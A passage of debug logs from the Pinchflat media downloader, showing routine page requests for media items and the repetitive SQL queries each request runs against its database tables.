QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:07.939 [info] Sent 200 in 2ms 16:59:11.335 [info] GET /sources/3/media/6485 16:59:11.335 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6485", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:11.336 [debug] QUERY OK source="media_items" db=0.1ms idle=811.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6485] 16:59:11.336 [debug] QUERY OK source="tasks" db=0.1ms idle=342.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6485] 16:59:11.336 [debug] QUERY OK source="sources" db=0.1ms idle=342.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:11.336 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=342.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [382] 16:59:11.336 [debug] QUERY OK source="settings" db=0.0ms idle=342.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:11.336 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:11.337 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:11.337 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:11.338 [info] Sent 200 in 2ms 16:59:14.692 [info] GET /sources/3/media/6498 16:59:14.693 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6498", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:14.693 [debug] QUERY OK source="media_items" db=0.1ms idle=1699.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6498] 16:59:14.693 [debug] QUERY OK source="tasks" db=0.1ms idle=1699.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6498] 16:59:14.693 [debug] QUERY OK source="sources" db=0.1ms idle=1699.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:14.694 [debug] QUERY OK source="settings" db=0.0ms idle=1166.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:14.694 [debug] QUERY OK source="settings" db=0.1ms idle=166.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:14.694 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:14.694 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:14.695 [info] Sent 200 in 2ms 16:59:17.757 [info] GET /sources/2/media/12827 16:59:17.757 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12827", "source_id" => "2"} Pipelines: [:browser] 16:59:17.757 [debug] QUERY OK source="media_items" db=0.1ms idle=1763.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:59:17.758 [debug] QUERY OK source="tasks" db=0.1ms idle=1764.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12827] 16:59:17.758 [debug] QUERY OK source="sources" db=0.1ms idle=1764.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:17.758 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1227.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [705] 16:59:17.758 [debug] QUERY OK source="settings" db=0.0ms idle=226.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:17.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:17.759 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:17.759 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:17.760 [info] Sent 200 in 2ms 16:59:20.339 [info] GET /sources/2/media/12827/edit 16:59:20.339 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12827", "source_id" => "2"} Pipelines: [:browser] 16:59:20.339 [debug] QUERY OK source="media_items" db=0.2ms idle=1345.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:59:20.339 [debug] QUERY OK source="settings" db=0.0ms idle=1345.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:20.339 [debug] QUERY OK source="settings" db=0.0ms idle=1346.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:20.340 [debug] QUERY OK source="settings" db=0.0ms idle=1346.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:20.340 [info] Sent 200 in 1ms 16:59:26.905 [info] GET /sources/2/media/6126 16:59:26.906 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6126", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:26.906 [debug] QUERY OK source="media_items" db=0.1ms idle=912.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6126] 16:59:26.906 [debug] QUERY OK source="tasks" db=0.0ms idle=912.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6126] 16:59:26.906 [debug] QUERY OK source="sources" db=0.1ms idle=912.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:26.906 [debug] QUERY OK source="settings" db=0.0ms idle=913.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:26.907 [debug] QUERY OK source="settings" db=0.0ms idle=365.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:26.907 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:26.907 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:26.908 [info] Sent 200 in 2ms 16:59:27.223 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:28.581 [info] GET /sources/1/media/6110 16:59:28.581 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6110", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 16:59:28.582 [debug] QUERY OK source="media_items" db=0.1ms idle=1039.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6110] 16:59:28.582 [debug] QUERY OK source="tasks" db=0.0ms idle=588.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6110] 16:59:28.582 [debug] QUERY OK source="sources" db=0.0ms idle=588.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:59:28.582 [debug] QUERY OK source="settings" db=0.0ms idle=588.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:28.583 [debug] QUERY OK source="settings" db=0.1ms idle=39.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:28.583 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:28.583 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:28.584 [info] Sent 200 in 2ms 16:59:30.157 [info] GET /sources/2/media/6121 16:59:30.157 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6121", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:30.158 [debug] QUERY OK source="media_items" db=0.1ms idle=613.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6121] 16:59:30.158 [debug] QUERY OK source="tasks" db=0.1ms idle=164.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6121] 16:59:30.158 [debug] QUERY OK source="sources" db=0.2ms idle=164.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:30.158 [debug] QUERY OK source="settings" db=0.0ms idle=164.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:30.159 [debug] QUERY OK source="settings" db=0.0ms idle=165.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:30.159 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:30.159 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:30.160 [info] Sent 200 in 2ms 16:59:31.569 [info] GET /sources/2/media/6115 16:59:31.570 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6115", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:31.570 [debug] QUERY OK source="media_items" db=0.1ms idle=1411.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6115] 16:59:31.570 [debug] QUERY OK source="tasks" db=0.1ms idle=1411.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6115] 16:59:31.570 [debug] QUERY OK source="sources" db=0.1ms idle=1411.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:31.571 [debug] QUERY OK source="settings" db=0.0ms idle=1025.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:31.571 [debug] QUERY OK source="settings" db=0.0ms idle=24.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:31.571 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:31.571 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", 